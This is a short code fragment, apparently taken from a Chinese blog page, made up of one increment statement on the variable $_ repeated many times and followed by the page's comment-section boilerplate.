$_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++;更多推荐

所有评论(0)